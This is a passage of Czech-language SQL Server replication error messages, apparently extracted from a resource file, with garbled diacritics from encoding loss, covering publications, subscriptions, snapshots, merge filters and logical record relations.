i pr�zdn� Yetzec.

�Sloupec %1!s! nelze z tabulky %2!s! vyYadit, proto~e je to sloupec prim�rn�ho kl�
e.

�Sloupec %1!s! nelze z tabulky %2!s! vyYadit, proto~e k tomuto sloupci pYistupuje jedine
n� index.

�Tabulku %1!s! nelze publikovat z�roveH pro slu
ovac� publikaci a publikaci s mo~nost� aktualizovateln�ch odbratelo.

�K vertik�ln�mu odd�lu publikace v re~imu znako nelze pYidat po
�tan� sloupec 
i sloupec 
asov�ho raz�tka.

�Metadata publikace %1!s! nelze vymazat, proto~e ostatn� publikace pou~�vaj� jeden 
i v�ce 
l�nko v t�to publikaci.

<Chcete-li vytvoYit aktualizovateln� odbry v syst�mu SQL Server 2000 a novja�ch verz�ch, je tYeba prov�st upgrade odbratele na syst�m SQL Server 2000.

HNeplatn� n�zev publikace %1!s!.

�Zobrazen� sv�zan� se sch�matem %1!s! nelze publikovat. Zadan� hodnota parametru @type mus� b�t typu indexed view schema only (v pY�pad sn�mku 
i transak
n� replikace) 
i indexed view logbased (pouze v pY�pad transak
n� replikace).

�Typ mus� b�t table 
i ( view | indexed view | proc | func ) schema only.

�Zdrojov� objekt %1!s! nelze publikovat. Zadanou hodnotu parametru @type (indexed view schema only 
i indexed view logbased) lze pou~�t pouze pro indexovan� zobrazen�. Zadejte hodnotu view schema only parametru @type nebo upravte zobrazen� tak, aby bylo sv�zan� se sch�matem a obsahovalo jedine
n� clusterovan� index.

�Zdrojov� objekt %1!s! nelze publikovat. Zadan� hodnota parametru @type indexed view logbased vy~aduje zobrazen� sv�zan� se sch�matem obsahuj�c� jedine
n� clusterovan� index. Zadejte hodnotu view schema only parametru @type nebo upravte zobrazen� tak, aby bylo sv�zan� se sch�matem a obsahovalo jedine
n� clusterovan� index.

�Vlastnost schema_option slu
ovac�ho 
l�nku nelze zmnit po vygenerov�n� sn�mku publikace. Chcete-li zmnit vlastnost schema_option tohoto 
l�nku, je tYeba vyYadit a znovu vytvoYit pY�sluanou slu
ovac� publikaci.

�Datab�ze odbratele %2!s! se nemo~e pYihl�sit k odbru publikace %1!s!, proto~e publikace obsahuje jeden nebo v�ce 
l�nko, k jejich~ odbru se stejn� datab�ze odbratele ji~ pYihl�sila na transak
n� �rovni.

�Datab�ze odbratele %2!s! se nemo~e pYihl�sit k odbru publikace %1!s!, proto~e publikace obsahuje jeden nebo v�ce 
l�nko, k jejich~ odbru se stejn� datab�ze odbratele ji~ pYihl�sila na �rovni slou
en�.

DParametry @identity_range, @pub_identity_range 
i @threshold mus� m�t hodnotu NULL, pokud m� parametr @identityrangemanagementoption hodnotu none 
i manual.

�Sloupec %1!s! tabulky %2!s! nelze vylou
it z vertik�ln�ho odd�lu, proto~e existuje po
�tan� sloupec, kter� na nm z�vis�.

tSloupec %1!s! se nepodaYilo vyYadit z tabulky %2!s!.

tSloupec %1!s! se nepodaYilo pYidat do tabulky %2!s!.

PTabulka konflikto %1!s! neexistuje.

�Zadan� hodnota parametru @destination_folder nen� platn� cesta k existuj�c� slo~ce.

�Ve slo~ce zadan� v parametru @destination_folder nelze vytvoYit strukturu adres�Yo sn�mko.

|Soubory sn�mko nebyly vygenerov�ny nebo nebyly vy
iatny.

�Zadan� hodnota rozsahu identity pYekro
ila maxim�ln� povolenou hodnotu.

�Doalo ke konfliktu zadan�ch parametro automatick� podpory identity s nastaven�m jin�ho 
l�nku.

�Objekt %1!s! nelze publikovat dvakr�t ve stejn� publikaci.

�Je tYeba zadat hodnotu parametru @publisher (a @publisher_db) 
i @subscriber (a @subscriber_db), ale nelze zadat ob.

�Publikace %1!s! neobsahuje ~�dn� 
l�nky vyu~�vaj�c� automatickou spr�vu rozsahu identity.

pHodnota parametru @resync_type mus� b�t 0, 1 
i 2.

�Typ nov� synchronizace je neplatn�. Nebylo provedeno ovYen� tohoto odbru.

hNov� synchronizace tohoto odbru se nezdaYila.

hNeplatn� v�raz ovYen� odd�lu odbratele %1!s!.

�Informace pYeklada
e je tYeba zadat s pou~it�m pYeklada
e %1!s!.

�V informac�ch pYeklada
e je tYeba uv�st sloupec s daty type, datetime 
i smalldatetime pomoc� pYeklada
e %1!s!.

,l�nek %1!s! by ml povolit pou~it� pYeklada
e %2!s! pro sledov�n� sloupco. Konflikty v tomto 
l�nku budou vyYeaeny pomoc� v�choz�ho pYeklada
e.

�Aktiva
n� ud�losti slou
en� nelze vytvoYit v tabulce %1!s!.

�Informace o zmn sch�matu nelze aktualizovat v datab�zi odbro.

�Kopii odbru nelze vytvoYit, proto~e platnost odbru publikace %1!s! vypraela.

�Odbr nelze pYipojit, proto~e platnost odbru publikace %1!s! vypraela.

Pro zadanou publikaci nelze naj�t pY�kazov� Y�dek agenta sn�mku. Zkontrolujte, zda v distributoru existuje platn� regul�rn� �loha sn�mku.

|Verze distributora nesm� b�t ni~a� ne~ verze vydavatele.

�Hodnota parametru @dynamic_snapshot_location nemo~e b�t pr�zdn� Yetzec.

 Protokoly publikace jsou v konfliktu v obou replik�ch. Odbratel� z verz� stara�ch ne~ je syst�m SQL Server 2005 toto nastaven� nepYijmou.

��lohu dynamick�ho sn�mku lze napl�novat pouze pro publikace, kter� maj� povolen� dynamick� filtrov�n�.

�Agenta sn�mku je tYeba pYidat k ur
en� publikaci dY�ve, ne~ bude napl�nov�na �loha dynamick�ho sn�mku.

�Pro zadanou publikaci nelze naj�t identifik�tor agenta sn�mku.

�Pro zadanou publikaci nelze naj�t �lohu dynamick�ho sn�mku odpov�daj�c� parametrom %1!s!   %2!s!.

l%1!s! nen� platn� n�zev �lohy dynamick�ho sn�mku.

�Zadan� n�zev �lohy dynamick�ho sn�mku %1!s! je ji~ pou~�v�n. Opakujte operaci s jin�m n�zvem �lohy.

�Nev�choz� hodnotu lze ur
it pouze pro jeden z parametro @dynamic_snapshot_jobid a @dynamic_snapshot_jobname.

�Podadres�Y nelze vytvoYit ve slo~ce sn�mko (%1!s!). Zkontrolujte, zda je k dispozici dostatek m�sta na disku a zda m� �
et, ve kter�m je spuatn agent sn�mku, opr�vnn� vytvoYit podadres�Y ve slo~ce sn�mku.

Soubor u~ivatelsk�ho skriptu nelze zkop�rovat do slo~ky sn�mko v distributoru (%1!s!). Zkontrolujte, zda je k dispozici dostatek m�sta na disku a zda m� �
et, ve kter�m je spuatn agent sn�mku, opr�vnn� zapisovat do slo~ky sn�mko a pY�sluan�ch podadres�Yo.

�NezdaYilo se na
ten� informac� o publikaci: %1!s!. Zkontrolujte n�zev.

�Generaci s o
ek�van�m um�stn�m %1!s!.dbo.MSmerge_genhistory nelze naj�t. Pokud k t�to chyb doalo v datab�zi odbru, inicializujte odbr znovu. Pokud k t�to chyb doalo v publika
n� datab�zi, obnovte datab�zi ze z�lohy.

Odbr zalo~en� na Y�zen� front zpr�v nelze inicializovat, proto~e platforma nen� kompatibiln� s Y�zen�m front zpr�v %1!s!.

�Upozornn�: Sloupec %1!s! ve vertik�ln�m odd�lu ji~ existuje.

�Upozornn�: Sloupec %1!s! ve vertik�ln�m odd�lu neexistuje.

�Hodnota parametru @subscriber_type je neplatn�. Platn� mo~nosti jsou local a global.

`PY�kaz sp_dropmergearticle nelze spustit, pokud publikace obsahuje odbratele spuatn�ho v syst�mu SQL Server 2000 
i stara�m. Publikaci vyYate a znovu ji vytvoYte bez pou~it� 
l�nku %1!s! nebo pYed vol�n�m pY�kazu sp_dropmergearticle nastavte �roveH kompatibility publikace %2!s! na hodnotu 90RTM.

�U~ivatelsk� skript na vy~�d�n� nelze pou~�t v publikaci sn�mku.

$Hodnota parametru @dynamic_snapshot_location nemo~e b�t nepr�zdn� Yetzec, pokud nen� hodnota parametru @alt_snapshot_folder pr�zdn� 
i NULL.

�Hodnota parametru @dynamic_snapshot_location nemo~e b�t nepr�zdn� Yetzec, pokud je hodnota parametru @use_ftp true.

XNelze nal�zt ulo~enou proceduru %1!s!.

lByla zad�na neplatn� hodnota pro parametr %1!s!.

tVylou
en� posledn�ho sloupce v odd�lu nen� povoleno.

�Zmna vlastn�ka objektu %1!s! na hodnotu %2!s! se nezdaYila.

�Sloupec %1!s! nelze z vertik�ln�ho dlen� vylou
it, proto~e k tomuto sloupci pYistupuje jedine
n� index.

LNeplatn� n�zev vlastnosti: %1!s!.

�Zadan� hodnota parametru @agent_jobid nen� platn� ID pr�ce �lohy agenta %1!s!.

LFiltr slou
en� %1!s! neexistuje.

�PYid�n� publikace %1!s! do slu~by Active Directory se nezdaYilo. %2!s!

�l�nek %1!s! nelze pYidat, proto~e byl ji~ vygenerov�n sn�mek. Chcete-li toto nastaven� vynutit a zneplatnit existuj�c� sn�mek, nastavte hodnotu parametru @force_invalidate_snapshot na 1.

�l�nek %1!s! nelze pYidat, proto~e existuj� aktivn� odbry. Chcete-li toto nastaven� vynutit a znovu inicializovat aktivn� odbry, nastavte parametr @force_reinit_subscription na hodnotu 1.

�Filtr %1!s! nelze pYidat, proto~e byl ji~ vygenerov�n sn�mek. Chcete-li toto nastaven� vynutit a zneplatnit existuj�c� sn�mek, nastavte hodnotu parametru @force_invalidate_snapshot na 1.

�Filtr %1!s! nelze pYidat, proto~e existuj� aktivn� odbry. Chcete-li toto nastaven� vynutit a znovu inicializovat aktivn� odbry, nastavte parametr @force_reinit_subscription na hodnotu 1.

�Zadan� n�zev serveru pro pYesmrov�n� zpracov�n� obsahuje neplatn� znak %1!s!.

|Publikaci %1!s! nelze odebrat ze slu~by Active Directory.

|Zadan� datum nov� synchronizace %1!s! nen� platn� datum.

�Filtr %1!s! nelze vyYadit z publikace %2!s!, proto~e pY�sluan� sn�mek byl ji~ spuatn a tato publikace mo~e m�t aktivn� odbry. Chcete-li znovu inicializovat vaechny odbry a vyYadit filtr, nastavte parametr @force_reinit_subscription na hodnotu 1.

�Datab�zi %1!s! nelze otevY�t. Nen� mo~n� upgradovat nastaven� replikace a syst�mov� objekty. Pokud se datab�ze pou~�v� k replikaci, spusete ulo~enou proceduru sp_vupgrade_replication v datab�zi [master], a~ bude dostupn�.

�Datab�zi %1!s! nelze otevY�t. Nen� mo~n� upgradovat nastaven� replikace a syst�mov� objekty. Pokud se datab�ze pou~�v� k replikaci, spusete ulo~enou proceduru sp_vupgrade_replication v datab�zi [master], a~ bude dostupn�.

�Distribu
n� datab�zi %1!s! nelze otevY�t, proto~e je offline nebo je obnovov�na. Nen� mo~n� prov�st upgrade nastaven� replikace a syst�mov�ch objekto. Zkontrolujte, zda je tato datab�ze dostupn�, a znovu spusete pY�kaz sp_vupgrade_replication.

�l�nek %1!s! nelze vyYadit z publikace %2!s!, proto~e sn�mek byl ji~ vygenerov�n. Chcete-li toto nastaven� vynutit a zneplatnit existuj�c� sn�mek, nastavte hodnotu parametru @force_invalidate_snapshot na 1.

|Chcete-li pYidat sloupec 
asov�ho raz�tka, je tYeba vynutit optovnou inicializaci. Chcete-li vynutit optovnou inicializaci, nastavte hodnotu parametru @force_reinit_subscription na 1.

�Do tabulky %1!s! nelze pYidat sloupec ani jej vyYadit, proto~e tabulka pY�slua� k publikac�m s aktivn�m aktualizovateln�m odbrem. Chcete-li vynutit optovnou inicializaci, nastavte hodnotu parametru @force_reinit_subscription na 1.

�Filtr %1!s! nelze vyYadit, proto~e byl ji~ vygenerov�n sn�mek. Chcete-li toto nastaven� vynutit a zneplatnit existuj�c� sn�mek, nastavte hodnotu parametru @force_invalidate_snapshot na 1.

�Slu
ovac� publikaci nelze na tomto serveru povolit, proto~e pracovn� adres�Y distributoro nepou~�v� cestu UNC.

�Ur
en� odbry neexistuj� nebo zat�m nebyly synchronizov�ny.

�Zpracov�n� publikace %1!s! sn�mkem se nezdaYilo. Pravdpodobn prob�hala zmna sch�matu nebo byly pYid�v�ny nov� 
l�nky.

�Zmna sch�matu objektu %1!s! se nezdaYila. Pravdpodobn je aktivn� sn�mek 
i jin� zmna sch�matu.

�Definice rozbalen�ho zobrazen� dynamick�ho sn�mku jednoho ze 
l�nko pYesahuje syst�mem stanoven� maxim�ln� po
et 3499 znako. Chcete-li inicializovat ur
en� odbr, zva~te pou~it� v�choz�ho mechanismu nam�sto dynamick�ho sn�mku.

�X�dkov� filtr (%1!s!) je neplatn� pro odd�l sloupco (%2!s!) 
l�nku %3!s! v publikaci %4!s!.

DX�dkov� filtr (%1!s!) ve 
l�nku %2!s! v objektu %3!s! je vyYazov�n. Pokud chcete vytvoYit Y�dkov� filtr, opakujte pY�kazy sp_articlefilter a sp_articleview.

<Byla zad�na neplatn� mo~nost sch�matu publikace, kter� umo~Huje aktualizaci odbratelo. Chcete-li zahrnout omezen� DRI, je tYeba zadat mo~nost sch�matu.

�Zadan� hodnota parametru @type parametru sp_addsubscriber 
i @subscriber_type pY�kazu sp_addsubscription nen� platn�. Chcete-li zobrazit seznam platn�ch hodnot, prostudujte web Knihy online pro SQL Server.

�Transakce vy~adovan� pro synchronizaci odbro typu nosync vytvoYen�ch ze zadan� z�lohy nejsou v distributoru dostupn�. Opakujte operaci a pou~ijte aktu�lnja� z�lohu protokolu 
i rozd�lovou nebo �plnou z�lohu datab�ze.

�Nelze dokon
it nastaven� odbru typu no-sync v distributoru, pokud je spuatn� agent pro odstrann� distribuce. Operace bude pravdpodobn �span�, pokud je agent pro odstrann� distribuce do
asn zak�z�n.

,Transakce vy~adovan� pro synchronizaci odbru se zadan�m poYadov�m 
�slem polo~ky (LSN) nejsou v distributoru dostupn�. Zadejte vyaa� 
�slo LSN.

�Vlastnost 
l�nku je tYeba zmnit v povodn�m vydavateli 
l�nku %1!s!.

DN�zev 
l�nku nemo~e b�t all.

THodnota parametru %1!s! nen� spr�vn�.

�Odbr nelze vytvoYit. Pokud zad�te hodnotu initialize with backup parametru @sync_type, je tYeba pYihl�sit se k odbru vaech 
l�nko v publikaci a zadat hodnotu all pro vaechny parametry @article.

�Odbr nelze vytvoYit. Pro parametr @status je tYeba zadat hodnotu Active 
i Subscribed. To je tYeba prov�st, proto~e hodnota zadan� pro parametr @sync_type je initialize with backup 
i replication support only.

tLze nastavit pouze jeden z parametro %1!s! 
i %2!s!.

HSpouatc� zpr�va agenta sn�mku.

PSpouatc� zpr�va agenta distribuce.

LSpouatc� zpr�va agenta slou
en�.

�Z�sk�n� z�mku aplikace ozna
uj�c�ho po
�tek fronty se nezdaYilo.

XSpouatc� zpr�va agenta 
te
ky fronty.

�Publikace %1!s! neexistuje, nebo nem�te dostate
n� opr�vnn� k pY�stupu. Zkontrolujte, zda publikace existuje a zda je �
et pou~�van� pro pYipojen� agenta slou
en� k vydavateli zahrnut� v pY�stupov�m seznamu publikace (PAL).

�Pro vydavatele typu SQL Server mus� m�t parametr @publisher hodnotu NULL.

�Pro heterogenn� vydavatele nesm� m�t parametr @publisher hodnotu NULL.

�Pro publikaci %1!s! a datab�zov� p�r odbratel/odbratel %2!s!/%3!s! neexistuje ~�dn� sd�len� odbr agenta.

�Vlastnost memory_optimized je mo~n� povolit jenom pro odbratele SQL Serveru.

PYepnut� z odbratele SQL Serveru na odbratele mimo SQL Server nen� povolen�, pokud je povolen� pameov optimalizovan� vlastnost.

�Replikace P2P nen� pro odbr s pameov optimalizovan�mi tabulkami podporovan�.

$Nelze prov�st upgrade replikace %1!s! pro datab�ze %2!s!. Zkontrolujte, zda byl proveden upgrade objektu %3!s!, a znovu spusete pY�kaz %4!s!.

�PYihl�aen�: %1!s! %2!s! (%3!s!)   (%4!s!): Heslo bylo zmnno.

�Intern� proceduru sp_MStran_is_snapshot_required je tYeba spustit v distributoru, pokud m� parametr @run_at_distributor hodnotu 1. Pokud pot�~e potrvaj�, obraete se na slu~bu z�kaznick� podpory spole
nosti Microsoft.

THodnota parametru %1!s! nen� platn�.

HPrim�rn� kl�
 zdrojov� tabulky %1!s! zahrnuje sloupec 
asov�ho raz�tka %2!s!. l�nek ur
en� publikace nelze vytvoYit, proto~e umo~Huje aktualizaci odbratelo.

�Odbry replikace nelze v hlavn� datab�zi vytvoYit. VytvoYte odbry s pomoc� jin� datab�ze.

lPY�kaz %1!s! lze spustit pouze v datab�zi %2!s!.

�Bylo vy~�d�no ovYen� 
l�nku publikace sn�mku %1!s!. OvYen� 
l�nku je platn� pouze pro transak
n� publikace.

pTrasovac� tokeny nelze odeslat do publikace sn�mku.

�Bhem protokolov�n� historie trasovac�ho tokenu doalo k chyb. Trasovac� token nelze odeslat.

�Bhem vkl�d�n� trasovac�ho tokenu do protokolu doalo k chyb. Trasovac� token nelze odeslat.

�Nebyly nalezeny ~�dn� aktivn� odbry. Chcete-li odeslat trasovac� token, publikace mus� obsahovat aktivn� odbry.

�Datab�ze %1!s! ji~ existuje. Chcete-li ji pou~�t jako distribu
n� datab�zi, nastavte parametr @existing_db = 1.

�Zadan� hodnota parametru %1!s! pY�kazu sp_mergearticlecolumn mus� b�t %2!s!. Hodnota true je povolen�, je-li tato procedura volan� jinou replika
n� procedurou. Nastavte parametr @schema_replication na hodnotu false nebo hodnotu nezad�vejte.

�V proceduYe %1!s! doalo k chyb pYi prov�dn� pY�kazu %2!s! pro zdroj %3!s!. Chyba serveru = %4!s!.

�%1!s!: Parametr %2!s! je krata� ne~ minim�ln� vy~adovan� d�lka.

�Po~adovanou operaci v datab�zi odbro nelze dokon
it, proto~e je do datab�ze aktu�ln doru
ov�n sn�mek. Opakujte operaci pozdji. Chcete-li pYeruait doru
ov�n� sn�mku, zastavte agenta distribuce 
i agenta slou
en� pYidru~en�ho k odbru.

�Vlastn� procedury replikace nebudou pou~ity ve skriptu, proto~e zadan� publikace %1!s! je publikace sn�mku.

PNkter� hodnoty generace pYekra
uj� horn� limit %1!s! v syst�mu SQL Server 2000. Je tYeba zmnit hodnotu parametru publikace publication_compatibility_level na 90.

�Funkci %1!s! nelze v tomto 
l�nku pou~�t, proto~e �roveH kompatibility publikace je ni~a� ne~ 90. Pomoc� pY�kazu sp_changemergepublication nastavte hodnotu parametru publication_compatibility_level publikace %2!s! na 90RTM.

Sloupec %1!s! se nepodaYilo pYidat do tabulky %2!s!. Maxim�ln� po
et sloupco ve 
l�nc�ch je %3!s! (v
etn filtrovan�ch sloupco).

LProst� replika mus� b�t anonymn�.

�l�nek %1!s! ji~ pY�slua� k odbru s odlianou hodnotou vlastnosti @lightweight.

�Publikaci %1!s! nelze pYidat do datab�ze %2!s!, proto~e ji~ existuje publikace s ni~a� �rovn� kompatibility. Vaechny slu
ovac� publikace v datab�zi mus� m�t stejnou �roveH kompatibility.

�Publikaci %1!s! nelze pYidat do datab�ze %2!s!, proto~e ji~ existuje publikace s vyaa� �rovn� kompatibility. Vaechny slu
ovac� publikace v datab�zi mus� m�t stejnou �roveH kompatibility.

�l�nek %1!s! byl ji~ publikov�n v jin� publikaci a pou~�v� nepYekr�vaj�c� se odd�ly s v�ce odbrateli na odd�l (@partition_options = 2). Toto nastaven� neumo~Huje zahrnut� 
l�nku do v�ce ne~ jedn� publikace.

�Sloupec %1!s! v tabulce %2!s! je sou
�st� relace ciz�ho kl�
e a sloupce v tabulce %3!s!, ale tento sloupec nebyl nalezen v zadan� klauzuli spojen�. Relace logick�ho z�znamu mezi tmito tabulkami by mla zahrnovat tento sloupec.

�Tabulka %1!s! nesm� m�t v relaci logick�ho z�znamu nadYazenou tabulku %2!s!, proto~e ji~ existuje odlian� nadYazen� tabulka. V relaci logick�ho z�znamu je povolena pouze jedna nadYazen� tabulka pro ka~dou podY�zenou tabulku.

�Relace logick�ho z�znamu ur
en� parametrem @filter_type vy~aduje pro nadYazenou a podY�zenou tabulku spojen� typu 1:1 
i 1:N. ZmHte hodnotu parametru @filter_type nebo nastavte parametr @join_unique_key na hodnotu 1.

Sloupec s definovan�m datov�m typem uniqueidentifier a vlastnost� rowguidcol nelze vyYadit, proto~e slu
ovac� replikace pou~�v� tento sloupec pro sledov�n�. Chcete-li tento sloupec vyYadit, je tYeba nejprve vyYadit tabulku ze vaech publikac� a odbro.

PY�kaz ALTER TABLE nejde dokon
it. Nespouatjte pY�kaz ALTER TABLE table_name DISABLE TRIGGER ALL v publikovan� tabulce. Znovu zadejte v�ce pY�kazo ALTER TABLE table_name DISABLE TRIGGER trigger_name a zaka~te jednotliv� aktiva
n� ud�losti v pY�sluan� tabulce.

�PYi prov�dn� pY�kazu <%2!s!> doalo k chyb serveru %1!s!.

�Sch�ma 
l�nku %1!s! nebylo spr�vn vygenerov�no nebo nebylo spr�vn pou~ito bhem po
�te
n� synchronizace. Dovodem mohou b�t probl�my s opr�vnn�mi. Zkontrolujte, jestli objekt existuje a jestli byla udlena nezbytn� opr�vnn�.

8Aktiva
n� ud�lost pou~�vanou slu
ovac� replikac� v publikovan� tabulce nelze zak�zat. Chcete-li aktiva
n� ud�lost vyYadit, vyYate tabulku z publikace.

�PY�kaz ALTER TABLE nelze replikovat. Obsahuje v�ce pY�kazo DROP, v
etn pY�kazu DROP pro sloupec, kter� nen� zahrnut� ve vaech odbrech tohoto 
l�nku. Pou~ijte jeden pY�kaz DROP pro ka~d� pY�kaz ALTER TABLE.

�Doalo k chyb serveru %1!s! bhem obnovov�n� protokolu datab�ze %2!s!.

8PY�kaz sp_change_subscription_properties nelze prov�st. Tuto ulo~enou proceduru lze pou~�t pouze pro publikace obsahuj�c� alespoH jeden vy~�dan� odbr.

hPo
�tan� sloupec %1!s! nelze pYidat do publikace. Nejprve je tYeba pYidat vaechny sloupce, na kter�ch tento sloupec z�vis�. Tyto sloupce nelze pomoc� filtru odebrat ze 
l�nku.

�Ne~ vyYad�te sloupec z publikace, je tYeba vyYadit vaechny po
�tan� sloupce z�visl� na sloupci %1!s!.

�Tuto operaci mohou prov�st pouze 
lenov� rol� sysadmin, db_owner 
i db_ddladmin.

�Chyba slou
en� jazyka DDL: VyYazen� sloupce pou~it�ho v Y�dkov�m filtru 
i spojovac�m filtru nen� povoleno. Chcete-li vyYadit sloupec pou~it� v Y�dkov�m filtru, nejprve zmHte Y�dkov� filtr pomoc� pY�kazu sp_changemergearticle. Chcete-li vyYadit sloupec pou~it� ve spojovac�m filtru, nejprve vyYate spojovac� filtr pomoc� pY�kazu sp_dropmergefilter.

pZadan� hodnota parametru %1!s! = %2!s! nen� platn�.

�Tabulka %1!s! obsahuje sloupec msrepl_tran_version, kter� je pou~�v�n replikac�. Hodnota sloupce je nastavena na NULL, ale je tYeba ji nastavit na NOT NULL. Zmna tohoto sloupce replikac� se nezdaYila. Je tYeba vyYadit sloupec a pot� tabulku znovu pYidat jako 
l�nek pomoc� pY�kazu sp_addarticle. Replikace pot� pYid� sloupec do tabulky.

�Form�t vol�n� VCALL nelze pou~�t pro zadan� 
l�nek. Form�t VCALL lze pou~�t pouze pro 
l�nky v publikac�ch umo~Huj�c�ch aktualizaci odbro. Pokud nevy~adujete aktualizaci odbro, zadejte odlian� form�t vol�n�. Pokud aktualizaci odbro vy~adujete, je tYeba nejprve vyYadit publikaci, znovu ji vytvoYit a povolit aktualizaci odbro.

l�nek %1!s! v publikaci %2!s! neobsahuje platnou polo~ku tabulky konflikto v syst�mov� tabulce sysarticleupdates. Tato polo~ka je vy~adov�na u publikac� umo~Huj�c�ch aktualizuj�c� odbry ve front. OvYte v�skyt chyb pYi posledn�m spuatn� agenta sn�mku.

�Nelze vytvoYit relaci logick�ho z�znamu. Tabulka %1!s! neobsahuje ciz� kl�
 odkazuj�c� na tabulku %2!s!. Relace logick�ho z�znamu vy~aduje relaci ciz�ho kl�
e mezi nadYazenou a podY�zenou tabulkou.

�V publikaci %1!s! nelze vytvoYit relaci logick�ho z�znamu. Chcete-li pou~�t logick� z�znamy, je tYeba nastavit hodnotu TRUE mo~nosti publikace use_partition_groups. Nastavte hodnotu true mo~nosti pomoc� pY�kazu sp_changemergepublication.

|Relaci logick�ho z�znamu nelze pYidat, proto~e omezen� ciz�ho kl�
e %1!s! je v tabulce %2!s! zak�zan�. Chcete-li vytvoYit relaci logick�ho z�znamu, nejprve povolte omezen� ciz�ho kl�
e.

0Relaci logick�ho z�znamu nelze pYidat, proto~e omezen� ciz�ho kl�
e %1!s! v tabulce %2!s! je definovan� s mo~nost� NOT FOR REPLICATION. Chcete-li pYidat relaci logick�ho z�znamu, nejprve vyYate omezen� ciz�ho kl�
e a pot� je znovu vytvoYte bez mo~nosti NOT FOR REPLICATION.

�Relaci logick�ho z�znamu nelze pYidat, proto~e 
l�nek %1!s! byl publikov�n v publikaci %2!s! s �rovn� kompatibility ni~a� ne~ 90RTM. Pomoc� pY�kazu sp_changemergepublication nastavte hodnotu 90RTM parametru publication_compatibility_level.

xZadan� hodnota vlastnosti filter_type nen� platn�. Platn� hodnoty jsou 1 (pouze spojovac� filtr), 2 (pouze relace logick�ho z�znamu) a 3 (spojovac� filtr a relace logick�ho z�znamu).

�Relaci logick�ho z�znamu mezi tabulkami %1!s! a %2!s! nelze pYidat, proto~e sloupec ciz�ho kl�
e %3!s! v tabulce %4!s! povoluje pou~it� hodnot NULL. ZmHte sloupec tak, aby byly hodnoty NULL zak�zan�.

�Chcete-li pro parametr partition_options pou~�t hodnotu 2 (nepYekr�vaj�c� se odd�ly s v�ce odbrateli na odd�l) 
i 3 (nepYekr�vaj�c� se odd�ly s jedn�m odbrem na odd�l), je tYeba v publikaci %1!s! povolit pou~it� funkce skupin odd�lo. Pomoc� pY�kazu sp_changemergepublication nastavte hodnotu TRUE parametru use_partition_groups.

l�nek %1!s! v publikaci %2!s! nesplHuje podm�nky pro zadanou mo~nost rozdlen� na odd�ly. Nelze zadat hodnotu 2 nebo 3 (nepYekr�vaj�c� se odd�ly) pro parametr @partition_options, proto~e 
l�nek figuruje ve v�ce spojovac�ch filtrech. Bu pro parametr @partition_options vyberte hodnotu 0 nebo 1, nebo vyYate vaechny spojovac� filtry a~ na jeden pomoc� ulo~en� procedury sp_dropmergefilter.

�l�nek %1!s! v publikaci %2!s! nesplHuje podm�nky pro zadanou mo~nost rozdlen� na odd�ly. Nelze zadat hodnotu 2 nebo 3 (nepYekr�vaj�c� se odd�ly) pro parametr @partition_options, proto~e 
l�nek figuruje v Y�dkov�m filtru i ve spojovac�m filtru. Bu pro parametr @partition_options vyberte hodnotu 0 nebo 1, nebo vyYate spojovac� filtr pomoc� ulo~en� procedury sp_dropmergefilter, nebo zmHte Y�dkov� filtr pomoc� ulo~en� procedury sp_changemergepublication.

Ll�nek %1!s! v publikaci %2!s! nesplHuje podm�nky pro zadanou mo~nost rozdlen� na odd�ly. Nelze zadat hodnotu 2 nebo 3 (nepYekr�vaj�c� se odd�ly) pro parametr @partition_options, proto~e 
l�nek m� spojovac� filtr s parametrem join_unique_key o hodnot 0. Bu pro parametr @partition_options vyberte hodnotu 0 nebo 1, nebo pomoc� ulo~en� procedury sp_changemergefilter zadejte pro parametr join_unique_key hodnotu 1.

xl�nek %1!s! v publikaci %2!s! nesplHuje podm�nky pro zadanou mo~nost rozdlen� na odd�ly. Nelze zadat hodnotu 2 nebo 3 (nepYekr�vaj�c� se odd�ly) pro parametr @partition_options, proto~e 
l�nek m� pY�mou nebo nepY�mou relaci spojovac�ho filtru s nadYazen�m 
l�nkem %3!s!. NadYazen� 
l�nek nepou~�v� stejnou hodnotu pro parametr partition_options. ZmHte tuto hodnotu pro jeden z 
l�nko pomoc� ulo~en� procedury sp_changemergepublication.

�Sloupec ve 
l�nku %1!s! nelze aktualizovat. l�nek m� hodnotu 2 
i 3 (nepYekr�vaj�c� se odd�ly) pro vlastnost partition_options a figuruje v Y�dkov�m filtru i ve spojovac�m filtru. V takov� situaci nelze sloupec aktualizovat v odbrateli 
i publikuj�c�m odbrateli. Je tYeba jej aktualizovat ve vydavateli nejvyaa� �rovn.

�X�dek v 
l�nku %1!s! nelze vlo~it. X�dek nepY�slua� odd�lu odbratele a vlastnost partition_options 
l�nku m� hodnotu 2 
i 3 (nepYekr�vaj�c� se odd�ly). NepYekr�vaj�c� se odd�ly neumo~Huj� vlo~en� mimo odd�l.

�V publikaci %1!s! nelze zadat vlastn� Yazen� 
l�nko, proto~e publikace m� �roveH kompatibility ni~a� ne~ 90RTM. Pomoc� pY�kazu sp_changemergepublication nastavte hodnotu 90RTM parametru publication_compatibility_level.

�l�nek obsahuje pouze sloupec rowguidcol. Je tYeba publikovat minim�ln jeden dala� sloupec.

�pravy aktiva
n�ch ud�lost� jazyka DDL vytvoYen�ch replikac� nejsou povoleny, proto~e jsou nezbytn� ke sledov�n� zmn jazyka DLL.

4Parametry @article a @join_articlename nemohou m�t stejnou hodnotu. K obma parametrom zadejte odlian� 
l�nky. Spojen� sama na sebe nejsou dovolena.

,Vydavatele jin�ho typu ne~ SQL Server [%1!s!] nelze naj�t. Chcete-li zobrazit seznam dostupn�ch vydavatelo, spusete pY�kaz sp_helpdistpublishers.

�Hodnota parametru @type pro publikace typu Oracle mus� b�t logbased.

�Aktualizace vydavatele typu Oracle %1!s! pomoc� pY�kazu sp_refresh_heterogeneous_publisher nebyla �span�. Metadata vydavatele typu Oracle byla zachov�na ve stavu selh�n� za �
elem usnadnn� diagnostiky pY�
iny chyby. Po diagnostice a vyYeaen� probl�mu znovu spusete pY�kaz sp_refresh_heterogeneous_publisher a dokon
ete aktualizaci.

xDodavatel vydavatele jin�ho typu ne~ SQL Server nen� platn�. Pokuste se vydavatele znovu pYidat. Pokud pot�~e potrvaj�, obraete se na slu~bu z�kaznick� podpory spole
nosti Microsoft.

PVydavatele jin�ho typu ne~ SQL Server je tYeba nakonfigurovat v kontextu distribu
n� datab�ze. Spusete pY�kaz sp_adddistpublisher v kontextu distribu
n� datab�ze.

 Parametr %1!s! je pouze pro vydavatele jin�ho typu ne~ SQL Server. Hodnota tohoto parametru pro vydavatele typu SQL Server mus� b�t %2!s!.

